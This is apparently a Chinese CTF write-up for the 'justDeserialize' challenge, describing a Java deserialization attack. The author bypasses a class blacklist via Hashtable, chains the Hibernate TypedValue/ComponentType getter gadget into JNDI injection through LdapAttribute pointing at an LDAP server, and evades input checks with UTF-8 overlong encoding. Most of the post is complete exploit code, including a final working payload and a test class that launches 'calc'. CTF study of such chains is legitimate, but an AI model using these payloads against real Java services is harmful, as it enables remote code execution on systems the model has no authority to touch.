本文最后更新于:5 天前
总结
和java死磕了一下午,还好队友够给力,最后进了决赛~
用tabby找到一个LdapAttribute类
已经能getter调用了,并且jndi打ldap反序列化本地已经jdk高版本下通了,但是之前打jndi都没用过LdapAttribute这玩意,(最气的是ldap服务器那边已经受到了请求)遂无产出(哭
赛后马上上网搜这个类,还真有在jndi里的打法!https://xz.aliyun.com/spa/#/news/8630
对比了下自己的exp,就差了一个字符串a//b

回到酒店马上加上它,生成payload:
boom!

害,于是赛后抢个首发文章告慰自己吧,,
justDeserialize题解
题目给了个路由/read,简单扫一眼,做了一些过滤后调用他自己的ObjectStream来反序列化

自定义的ObjectStream通过readResolve()进行过滤,从黑名单中读取被ban的类

贴出黑名单,基本上通用的一些链子都被禁了,甚至非常常用的HashMap都被禁了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| javax.management.BadAttributeValueExpException com.sun.org.apache.xpath.internal.objects.XString java.rmi.MarshalledObject java.rmi.activation.ActivationID javax.swing.event.EventListenerList java.rmi.server.RemoteObject javax.swing.AbstractAction javax.swing.text.DefaultFormatter java.beans.EventHandler java.net.Inet4Address java.net.Inet6Address java.net.InetAddress java.net.InetSocketAddress java.net.Socket java.net.URL java.net.URLStreamHandler com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl java.rmi.registry.Registry java.rmi.RemoteObjectInvocationHandler java.rmi.server.ObjID java.lang.System javax.management.remote.JMXServiceUR javax.management.remote.rmi.RMIConnector java.rmi.server.RemoteObject java.rmi.server.RemoteRef javax.swing.UIDefaults$TextAndMnemonicHashMap java.rmi.server.UnicastRemoteObject java.util.Base64 java.util.Comparator java.util.HashMap java.util.logging.FileHandler java.security.SignedObject javax.swing.UIDefaults
|
题目的依赖中存在hibernate漏洞版本,在HashMap被禁了的情况下如何调用到hibernate链的入口点hashCode()呢?
(其实hibernate依赖中的TypedValue自己的readObject()中就按理来说能走触发点getHashCode(),但是当时学的时候一直不明白为什么实际上是走不进去的)
HashMap被禁的情况下,也是比较容易就想到他的另一个兄弟HashTable了,为了保证键的唯一性,大概率会有对key求hashCode的过程

从readObject简单跟了下

然后再到reconstitutionPut()方法

最后真的在其中找到了hashCode()的调用!

创了个Users测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.ctf;
import java.io.Serializable;
public class Users implements Serializable { String name;
public String getName() throws Exception{ Runtime.getRuntime().exec("calc"); return name; }
public void setName(String name) { this.name = name; } }
|
然后用HashTable替代HashMap,接上hibernate的链子
成功出现计算器弹出,调用了Users的getter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package com.ctf;
import com.zaxxer.hikari.HikariConfig; import com.zaxxer.hikari.HikariDataSource; import org.apache.catalina.UserDatabase; import org.apache.catalina.realm.UserDatabaseRealm; import org.apache.catalina.session.DataSourceStore; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata; import sun.reflect.ReflectionFactory;
import javax.naming.CompositeName; import javax.naming.InitialContext; import javax.naming.spi.NamingManager; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*;
public class Main { public static void main(String[] args) throws Exception {
Hashtable hashtable = new Hashtable();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
Users users = new Users();
TypedValue typedValue = new TypedValue(componentType,users);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", Users.class..getDeclaredMethod("getName"))});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,111);
Field tableField = Hashtable.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashtable); for (Object entry: table){ if (entry != null){ setField(entry,"key",typedValue); } }
String string = Base64.getEncoder().encodeToString(ser(hashtable));
System.out.println(string);
unser(Base64.getDecoder().decode(string));
} public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{ Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes); constructor.setAccessible(true); Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(argsValues); } public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); } public static byte[] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); }
}
|
到此即可调用任意getter了,找可利用的getter,那就是tabby的强项了
这个众星捧月的lookup就是我们今天的主角,它正是进行jndi注入的关键

保证同时实现Serializable接口的前提下,我相中了 com.sun.jndi.ldap.LdapAttribute
这个类

它有个getAttributeDefinition()方法,其中调用了lookup(),一切似乎都在朝着好的方向发展

题目给的环境是需要在jdk11跑的,这么高的版本如何打jndi?

当然是使用我们的JavaChains辣!
自己学习的过程中对于打本地Factory研究并不深入(甚至自己只搞过tomcat+el的方式,但是实际上还有许多的链子,使用java chains的话会带来非常大的遍历
题目中有Jackson依赖,我选了这么一条链路

在jdk11的环境下jndi打的通

接下来就是需要思考如何从LdapAttributegetAttributeDefinition()打到jndi了
接上LdapAttribute,一路按报错添加需要的属性,于是我们的代码有了如下变化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| package com.ctf;
import com.zaxxer.hikari.HikariConfig; import com.zaxxer.hikari.HikariDataSource; import org.apache.catalina.UserDatabase; import org.apache.catalina.realm.UserDatabaseRealm; import org.apache.catalina.session.DataSourceStore; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata; import sun.reflect.ReflectionFactory;
import javax.naming.CompositeName; import javax.naming.InitialContext; import javax.naming.spi.NamingManager; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*;
public class Main { public static void main(String[] args) throws Exception {
Hashtable hashtable = new Hashtable();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
Users users = new Users();
Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"test"}); setField(ldap,"rdn",new CompositeName());
setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");
TypedValue typedValue = new TypedValue(componentType,ldap);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getAttributeDefinition"))});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,111);
Field tableField = Hashtable.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashtable); for (Object entry: table){
if (entry != null){ setField(entry,"key",typedValue); } }
String string = Base64.getEncoder().encodeToString(ser(hashtable));
System.out.println(string);
unser(Base64.getDecoder().decode(string));
} public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{ Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes); constructor.setAccessible(true); Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(argsValues); } public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); } public static byte[] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
CustomObjectOutputStream customObjectOutputStream = new CustomObjectOutputStream(byteArrayOutputStream);
customObjectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); }
}
|
然后:
boom!

这个小问题在于在反序列化之前,有对序列化流base64解密后的字符串做个简单的检测,这个实际上很好绕,走一个utf-8 Overlong Encoding混淆即可
参考文章https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

当然javachains中同样集成了这个功能,(比赛发现这个之前,通过离线文章自己摸索着搓了一个,但是最后的naming死活绕不过去:(((()
在javachains中混淆了一下
我们的debugger也是有反应了!

javaChains的日志也收到了ldap请求!

但是并没有预期的有计算器弹出
脱离web环境,直接尝试进行反序列化,奇怪的报错
(后面就是我在比赛后几个小时在一直折腾的过程了,,,到最后也没折腾出来)

赛后参考了下文章,发现只需要在原先的exp中加上一个"a//b"
字符串即可,具体原理这里不做分析,跟一下就行了,(根本原因在于真正触发jndi注入的点其实不在当时一眼看到的那个lookup())

最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| package com.ctf;
import com.zaxxer.hikari.HikariConfig; import com.zaxxer.hikari.HikariDataSource; import org.apache.catalina.UserDatabase; import org.apache.catalina.realm.UserDatabaseRealm; import org.apache.catalina.session.DataSourceStore; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import org.springframework.boot.jdbc.metadata.CommonsDbcp2DataSourcePoolMetadata; import sun.reflect.ReflectionFactory;
import javax.naming.CompositeName; import javax.naming.InitialContext; import javax.naming.spi.NamingManager; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*;
public class Main { public static void main(String[] args) throws Exception {
Hashtable hashtable = new Hashtable();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
Users users = new Users();
Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"test"}); setField(ldap,"rdn",new CompositeName("a//b"));
setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");
TypedValue typedValue = new TypedValue(componentType,ldap);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class; Field field = c.getDeclaredField("getters"); field.setAccessible(true); field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getAttributeDefinition"))});
setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashtable.put(1,111);
Field tableField = Hashtable.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashtable); for (Object entry: table){
if (entry != null){ setField(entry,"key",typedValue); } }
String string = Base64.getEncoder().encodeToString(ser(hashtable));
System.out.println(string);
unser(Base64.getDecoder().decode(string));
} public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{ Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes); constructor.setAccessible(true); Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(argsValues); } public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); } public static Object createObjWithoutConstructor(Class clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return constructor1.newInstance(); } public static byte[] ser(Object o) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
CustomObjectOutputStream customObjectOutputStream = new CustomObjectOutputStream(byteArrayOutputStream);
customObjectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); }
}
|
Utf8OverlongEncoding混淆一下,再发
